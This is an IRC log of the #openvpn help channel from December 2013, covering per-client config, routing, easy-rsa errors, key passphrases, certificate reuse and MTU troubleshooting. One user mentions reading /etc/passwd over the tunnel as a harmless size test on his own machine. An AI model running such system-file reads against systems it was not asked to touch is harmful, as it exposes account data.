06:24 < pagios> any idea what am i missing? could it be iptables blockign the way?
06:25 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Quit: cpm]
06:28 < pagios> nvm i solved it
06:28 < wallbroken_u> !redirect
06:28 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:28 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
06:29 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
06:30 < pagios> well i can ping now but not access web servers
06:30 < pagios> web services*
06:31 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:32 -!- Zap-W [~zxd@bzq-109-64-100-125.red.bezeqint.net] has quit [Ping timeout: 252 seconds]
06:36 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
06:36 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
06:37 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:38 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Remote host closed the connection]
06:39 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
06:40 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
06:40 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:46 < pagios> for some reason my ccd file is not called on clients, how can i make sure the ccd is called properly for each client?
06:47 < pagios> where is the clientname set
06:48 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
06:49 < wallbroken_u> you need to know each common name client cert
06:49 < wallbroken_u> and rename the ccd file as the common name
06:49 < wallbroken_u> in this way, ach configuration will be pushed on the correct client
06:49 < wallbroken_u> *each
06:49 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:49 < pagios> CN=PLUG2
06:49 < pagios> ok i see
06:50 < pagios> can i manually alter the client cert CN ?
06:50 < pagios> or need to generate a new one?
06:51 < wallbroken_u> need to generate a new client cert
06:52 < pagios> wallbroken_u: iroute 10.8.0.0 255.255.255.0 <-- want to create a route for 10.8.0.0 via the vpn is that correct?
06:52 < cpm> one cert per client
06:54 < wallbroken_u> yes
06:54 < wallbroken_u> this will route the server traffic to a client
06:55 < pagios> or better push "route 10.680.0 255.255.255.0" in server.conf?
06:55 < wallbroken_u> u need to do both
06:55 < wallbroken_u> --route directive routes the packet from the kernel to OpenVPN
06:56 < wallbroken_u> once in openvpn, you need to route it to a specific client
06:56 < pagios> weird, http://pastebin.com/gAaBfrjD
06:57 < pagios> my client ccd looks like: ifconfig-push 10.8.0.101 10.8.0.1           iroute 10.8.0.0 255.255.255.0
06:57 < pagios> the routes are not being puished
07:00 < wallbroken_u> why you are using p2p address topology?
07:03 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Quit: cpm]
07:04 < pagios> what do you mean
07:04 < pagios> i need clients connected to the same vpn to communicate together
07:05 -!- Zap-W [~zxd@109.64.103.3] has joined #openvpn
07:10 -!- Devastator [~devas@177.99.155.25] has quit [Ping timeout: 240 seconds]
07:19 -!- Zap-W [~zxd@109.64.103.3] has quit [Ping timeout: 264 seconds]
07:24 -!- Zap-W [~zxd@109.65.20.154] has joined #openvpn
07:30 < pagios> wallbroken_u:
07:31 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-lsqiufdrkfhbkgtg] has quit [Ping timeout: 246 seconds]
07:33 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-bscxymppxaltfxks] has joined #openvpn
07:34 -!- Zap-W [~zxd@109.65.20.154] has quit [Ping timeout: 248 seconds]
07:41 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
07:43 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
07:48 -!- fred`` [fred@earthli.ng] has quit [Ping timeout: 246 seconds]
07:48 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-pjkskfyaaylhaunc] has quit [Ping timeout: 246 seconds]
07:50 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-biqonkjhywvxuqcf] has joined #openvpn
07:52 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:55 -!- Fruckiwacki- [fruckiwack@5.135.190.66] has joined #openvpn
07:55 -!- Olipro_ [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
07:57 -!- brian__ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has joined #openvpn
07:57 -!- franks2_ [~frank@frank2.net] has joined #openvpn
07:58 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
07:58 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
07:58 -!- Gasseus [~Rallias@unaffiliated/gasseus] has joined #openvpn
07:59 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
08:00 -!- klaxa_ [~klaxa@klaxa.eu] has joined #openvpn
08:00 -!- Probeus [probeus@probeus.no] has joined #openvpn
08:01 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Excess Flood]
08:01 -!- Olipro_ [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Excess Flood]
08:02 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
08:02 -!- Linmu_ [~Linmu@203.70.194.104] has joined #openvpn
08:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:06 -!- Netsplit *.net <-> *.split quits: Rallias, Chrisje, klaxa, SlutaTramsa, Sorcier_FXK, Linmu, Haigha, Thermi, i7c, m01,  (+7 more, use /NETSPLIT to show all of them)
08:06 -!- klaxa_ is now known as klaxa
08:07 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
08:09 -!- Netsplit over, joins: Thermi
08:09 -!- Netsplit over, joins: Olipro
08:10 -!- fred`` [fred@earthli.ng] has joined #openvpn
08:11 -!- Netsplit over, joins: SlutaTramsa, m01, Martin`, Chrisje, pnielsen
08:12 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
08:15 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
08:17 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
08:57 -!- novaflash is now known as novaflash_away
09:33 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
09:42 -!- master_o1_master [~master_of@p4FF24BBC.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- master_of_master [~master_of@p4FD7BBE1.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
09:55 -!- kasper93__ [~kasper93@unaffiliated/kasper93] has joined #openvpn
09:57 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 252 seconds]
10:06 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
10:09 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
10:09 -!- novaflash_away [~novaflash@openvpn/corp/support/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!]
10:36 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
10:46 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
10:47 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
11:11 -!- herschel [sid17498@gateway/web/irccloud.com/x-bwdgbdqtavkbggwm] has joined #openvpn
11:27 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
11:27 -!- herschel [sid17498@gateway/web/irccloud.com/x-bwdgbdqtavkbggwm] has quit []
11:27 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
11:43 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
12:04 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
12:05 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:40 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
12:43 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
12:45 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:53 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
12:54 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
13:22 -!- Devastator [~devas@177.99.155.25] has joined #openvpn
13:24 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
13:25 < Cpt-Oblivious> hmm I get
13:25 < Cpt-Oblivious> "Error Loading extension section req_extra" when trying to do ./easyrsa gen-req nameofserver nopass
13:26 < pekster> Cpt-Oblivious: Using a 0.9.8 version of openssl with easyrsa v3? Fix is on -master, and an -rc2 release with the fix is planned for release "shortly"
13:27 < pekster> For now either grab a -master copy of both the easyrsa and openssl-1.0.cnf files, or use a newer openssl
13:27 < Cpt-Oblivious> yep
13:27 < Cpt-Oblivious> OpenSSL 0.9.8y 5 Feb 2013 with easyrsa v3
13:27 < Cpt-Oblivious> it's the openssl built into FreeNAS, not sure if I can upgrade that.
13:29 < Cpt-Oblivious> pekster: so grabbing the file easyrsa / openssl-1.0.cnf from here: https://github.com/OpenVPN/easy-rsa/tree/master/easyrsa3 would work?
13:29 <@vpnHelper> Title: easy-rsa/easyrsa3 at master · OpenVPN/easy-rsa · GitHub (at github.com)
13:29 < pekster> Cpt-Oblivious: Yup. The exact fix for your problem is this commit: https://github.com/OpenVPN/easy-rsa/commit/8b1fe01
13:29 <@vpnHelper> Title: Support OpenSSL-0.9.8 with the EXTRA_EXTS feature · 8b1fe01 · OpenVPN/easy-rsa · GitHub (at github.com)
13:29 < Cpt-Oblivious> excellent, going to try it.
13:29 < Cpt-Oblivious> thanks
13:31 -!- eliasp_ is now known as eliasp
13:34 < Cpt-Oblivious> yep works flawlessly!
13:46 < wallbroken_u> pekster, i'd like to know nother 2 little things: the first: is there some directive to give automatically the private key password on connection? the second: why the server start assigning net30 from 10.0.0.6 when the first available subnet is 10.0.0.1 / 10.0.0.2 ?
13:47 < Cpt-Oblivious> wallbroken_u: about the ips: http://openvpn.net/index.php/open-source/faq/77-server/273-qifconfig-poolq
13:47 <@vpnHelper> Title: "ifconfig-pool" option use a /30 subnet (4 private IP addresses per client) when used in TUN mode? (at openvpn.net)
13:47 < Cpt-Oblivious> And what's the point of having it automatically fill in the private key password? You might as well not set a password on the key then imo
13:49 < wallbroken_u> i have a private key with password, but sometimes is boring to set it on every connection
13:49 < wallbroken_u> so i'd like to keep it in the .ovpn file
13:50 < Cpt-Oblivious> wallbroken_u: https://forums.openvpn.net/topic11342.html
13:50 <@vpnHelper> Title: OpenVPN Support Forum Saving Username/Password : Scripting and Customizations (at forums.openvpn.net)
13:50 < wallbroken_u> no
13:50 < wallbroken_u> this is not what i'm talking about
13:51 < wallbroken_u> i'm talking about private key passphrase
13:51 < wallbroken_u> and not openvpn login
13:51 < Cpt-Oblivious> which is the same thing.
13:51 < Cpt-Oblivious> I've set a passphrase on my private keys as well and when I connect to my openvpn server, it'll ask for that password and then login.
14:01 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 246 seconds]
14:06 < pekster> wallbroken_u: Your net30 question is directly answered at the wiki at !topology
14:07 < pekster> Read the same 5 paragraphs I asked you to read yesterday about net30 there
14:07 < wallbroken_u> yes i got answer
14:07 < wallbroken_u> "The first available /30 subnet (after the one the server is using) "
14:07 < wallbroken_u> and about the second question?
14:07 < wallbroken_u> is there some solution?
14:08 < wallbroken_u> to automatically fill private key pass?
14:08 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
14:08 < pekster> wallbroken_u: No. Decrypt your key if that's what you want
14:09 < pekster> Optionally use the management interface (non-trivial) and read about --management-query-passwords in the manpage (!man)
14:14 < wallbroken_u> ok, the last thing I need is a manual to configure routing into a windows with openvpn server to make it work the forwarding of packets, with redirect def1
14:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
14:14 -!- mode/#openvpn [+o dazo_afk] by ChanServ
14:14 -!- dazo_afk is now known as dazo
14:14 < wallbroken_u> on linux server i done it, it's simple
14:15 < pekster> Follow !redirect
14:15 < wallbroken_u> !redirect
14:15 < pekster> YMMV, but Windows makes a crappy routing platform
14:15 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:15 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
14:15 < wallbroken_u> !def1
14:15 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
14:15 < wallbroken_u> !man
14:15 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:16 < wallbroken_u> !ipforward
14:16 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
14:17 < wallbroken_u> !winipforward
14:17 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
14:17 < wallbroken_u> !linipforward
14:17 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
14:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
14:41 -!- novaflash_away [~novaflash@5.22.251.198] has joined #openvpn
14:41 -!- novaflash_away is now known as novaflash
14:41 -!- novaflash [~novaflash@5.22.251.198] has quit [Client Quit]
14:43 -!- novaflash_away [~novaflash@5.22.251.198] has joined #openvpn
14:43 -!- novaflash_away is now known as novaflash
14:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:46 -!- novaflash [~novaflash@5.22.251.198] has quit [Changing host]
14:46 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
14:46 -!- mode/#openvpn [+o novaflash] by ChanServ
14:48 < wallbroken_u> !nat
14:48 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !openvznat !winnat and !fbsdnat for specific howto
14:49 < wallbroken_u> !winnat
14:49 <@vpnHelper> "winnat" is (#1) http://www.windowsnetworking.com/articles_tutorials/NAT_Windows_2003_Setup_Configuration.html for a guide on setting up NAT in windows or (#2) http://www.nanodocumet.com/?p=14 for windows XP or (#3) https://community.openvpn.net/openvpn/wiki/NatOverWindows2008 for 2k8
14:53 -!- occupant [~null@204.14.158.226] has joined #openvpn
14:56 -!- mastershake [~mastersha@unaffiliated/mastershake] has joined #openvpn
14:57 < mastershake> !welcome
14:57 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
14:57 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:58 < mastershake> !logs
14:58 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:58 < mastershake> !logfile
14:58 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
15:00 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
15:02 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:16 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
15:18 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
15:19 -!- mastershake [~mastersha@unaffiliated/mastershake] has quit [Remote host closed the connection]
15:22 -!- mastershake [~mastersha@unaffiliated/mastershake] has joined #openvpn
15:22 < mastershake> !logfiles
15:22 < mastershake> !logs
15:22 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:27 -!- \malex\ [vfcq0wjjbf@unaffiliated/malex/x-000000001] has joined #openvpn
15:28 -!- \malex\ [vfcq0wjjbf@unaffiliated/malex/x-000000001] has left #openvpn []
15:36 < mastershake> hey guys, i was wondering if someone could check out this logfile and lend a hand for a moment if possible?
15:40 < mastershake> anyone available?
15:52 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
15:56 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
15:56 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
16:00 -!- mastershake [~mastersha@unaffiliated/mastershake] has quit [Remote host closed the connection]
16:20 -!- mastershake [~mastersha@unaffiliated/mastershake] has joined #openvpn
16:20 < mastershake> hello, is anyone here ?
16:23 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
16:29 < EugeneKay> !anyone
16:29 < EugeneKay> Nope, nobody.
16:30 < mastershake> :(
16:30 -!- esde_ [~esde@107.150.1.2] has joined #openvpn
16:30 < mastershake> well, if anyone happens to be able to check this out whenever they get a chance, i would really appreciate it.
16:30 < mastershake> http://pastebin.com/G2E70Wcj
16:30 < pekster> mastershake: It helps to ask a question, especially on a day many (all?) of us are busy with holiday things
16:31 < mastershake> pekster, this connection is stuck in a loop and i dont know what to do
16:31 < pekster> mastershake: Line 42, your connection was reset which is the remote peer indicating that it doesn't want to talk to you
16:31 -!- Devastator [~devas@177.99.155.25] has quit [Ping timeout: 240 seconds]
16:31 < pekster> You have a firewall problem or your openvpn server is not listening on the IP/port you're connecting to
16:32 < mastershake> hmm... ok thank you and happy holidays
16:33 -!- esde [~esde@unaffiliated/esde] has quit [Remote host closed the connection]
16:33 -!- esde_ is now known as esde
16:34 -!- Devastator [~devas@177.99.155.25] has joined #openvpn
16:34 -!- esde [~esde@107.150.1.2] has quit [Changing host]
16:34 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
16:38 -!- Devastator [~devas@177.99.155.25] has quit [Ping timeout: 246 seconds]
16:47 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:54 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 245 seconds]
16:54 -!- Stew_a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
16:54 -!- Stew_a is now known as Stew-a
17:06 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
17:07 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 246 seconds]
17:09 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has joined #openvpn
17:16 -!- mastershake [~mastersha@unaffiliated/mastershake] has quit [Ping timeout: 248 seconds]
17:22 -!- mastershake [~mastersha@cpe-24-90-203-182.nyc.res.rr.com] has joined #openvpn
17:22 -!- mastershake [~mastersha@cpe-24-90-203-182.nyc.res.rr.com] has quit [Changing host]
17:22 -!- mastershake [~mastersha@unaffiliated/mastershake] has joined #openvpn
17:31 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 252 seconds]
17:31 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 264 seconds]
17:33 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Ping timeout: 246 seconds]
17:35 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
17:56 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has quit [Ping timeout: 240 seconds]
18:08 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 240 seconds]
18:09 -!- mastershake [~mastersha@unaffiliated/mastershake] has quit [Remote host closed the connection]
18:18 -!- PackardBell [~Cor@eternalproject.org] has quit [Ping timeout: 264 seconds]
18:21 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
18:25 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 248 seconds]
19:12 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
19:13 -!- xrosnight [~quassel@120.236.123.133] has quit [Changing host]
19:13 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
19:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
19:33 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
19:39 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
19:42 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
19:43 -!- Gasseus [~Rallias@unaffiliated/gasseus] has quit [Quit: ZNC - http://znc.in]
19:44 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
20:22 -!- Denial [Denial@176.250.215.79] has quit [Ping timeout: 272 seconds]
20:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
20:27 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
20:27 -!- Denial [Denial@90.222.16.244] has joined #openvpn
20:36 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 260 seconds]
20:43 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Read error: Connection reset by peer]
20:43 -!- Cultist_ [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
20:44 -!- Cultist_ is now known as Cultist
20:44 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-tigsxpaelalupfmr] has joined #openvpn
21:05 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 264 seconds]
21:06 -!- lachesis [~lachesis@unaffiliated/lachesis] has quit [Ping timeout: 264 seconds]
21:09 -!- lachesis [~lachesis@unaffiliated/lachesis] has joined #openvpn
21:11 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
21:12 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has joined #openvpn
21:49 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
21:49 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
22:01 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has joined #openvpn
22:13 -!- jblack [~jblack@c-50-135-120-40.hsd1.wa.comcast.net] has quit [Ping timeout: 260 seconds]
22:33 < lachesis> does using comp-lzo expose me to any of the TLS compression attacks? e.g. BEAST, CRIME?
22:38 < lachesis> also, what do i need to do to get perfect forward secrecy?
22:42 < lachesis> finally, is there any cryptographic risk to using the same server certificate on two different openvpn servers? (running both tun and tap servers, not sure if i need more than one certificate)
22:58 -!- Seth_Hikaru [~DXD@unaffiliated/seth-hikaru/x-6553659] has joined #openvpn
22:58 < Seth_Hikaru> I'm having some issues trying to force IPv6 traffic through IPv4.
22:59 < Seth_Hikaru> YouTube is forcing loading videos via IPv6.
23:00 < Seth_Hikaru> This is on Android btw going to a pfSense box.
23:19 -!- Seth_Hikaru_ [~DXD@unaffiliated/seth-hikaru/x-6553659] has joined #openvpn
23:23 -!- Seth_Hikaru [~DXD@unaffiliated/seth-hikaru/x-6553659] has quit [Ping timeout: 272 seconds]
23:26 < rob0> lachesis, as for "risk" of server certificate sharing, I don't know. But why would you do that? What does it cost you (a few minutes of your time, CPU cycles, entropy) to generate a unique certificate per server? Why share?
23:47 < pekster> If this is the same actual OS and just 2 instances on the OS, re-using a keypair/cert isn't a huge deal, but I'd personally use a different keypair for each OS in a multi-server setup, and obviously different PKIs if the use-case or userbase is unique
23:50 < rob0> One potential weakness is the compromise of both if either is compromised. See, no gain.
23:52 < pekster> Right, but if it's the same OS/server and just 2 instances, the benefit of less crap to issue is semi-useful, otherwise there's no real "gain" to doing that in the first place
23:52 < pekster> Depends on the mode of compromise I suppose
--- Day changed Wed Dec 25 2013
00:05 < rob0> If it's the same OS/server, you'd have to assume the compromise of both if either is compromised anyway.
00:06 < rob0> certainly if it was a root exploit (and who's to say that any exploit was not escalated?)
00:12 -!- Seth_Hikaru_ [~DXD@unaffiliated/seth-hikaru/x-6553659] has left #openvpn [""Quit now and - CAKE - will be served immediately.""]
00:50 < wallbroken_u> !topology
00:50 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
01:08 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
01:09 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
01:49 -!- wallbroken_u [~wallbroke@unaffiliated/wallbroken] has quit [Ping timeout: 248 seconds]
01:49 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
02:07 -!- Denial [Denial@90.222.16.244] has quit [Ping timeout: 252 seconds]
02:11 -!- Denial [Denial@94.0.94.1] has joined #openvpn
02:30 < wallbroken_u_z> i also tried to make a "static" configuration simply adding tls-client and "ifconfig <client-ip> <subnet mask>"  to the client config
02:30 < wallbroken_u_z> it's good but doesn't ping each other
02:30 < wallbroken_u_z> maybe do I need to add some routing configuration?
02:51 < pagios> by default openvpn allows https traffic from client to client?
03:01 < pagios> ?
03:22 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
03:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:23 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
03:24 < pagios> i am not able to cat a big file over my vpn tunnel
03:24 < pagios> the connection drops, even though it is very reliable, is there a way to make big chunks work over the vpn tunnel?
03:26 < pagios> for example cat /etc/passwd works fine but cat /etc/bigfile just hangs and drops the connection
03:30 < pagios> how can i increase the mtu size?
03:30 < pagios> for instance ping -c 1 -s 100 -M do foobar-1 works but ping -c 1 -s 400 -M do foobar-1 does not work it gives 1 packets transmitted, 0 received, 100% packet loss, time 0ms
03:45 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
03:45 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:56 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
04:04 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 252 seconds]
04:05 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 246 seconds]
04:08 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
04:34 -!- Zap-W [~zxd@bzq-218-200-107.red.bezeqint.net] has joined #openvpn
04:44 -!- xrosnight [~quassel@113.81.14.7] has joined #openvpn
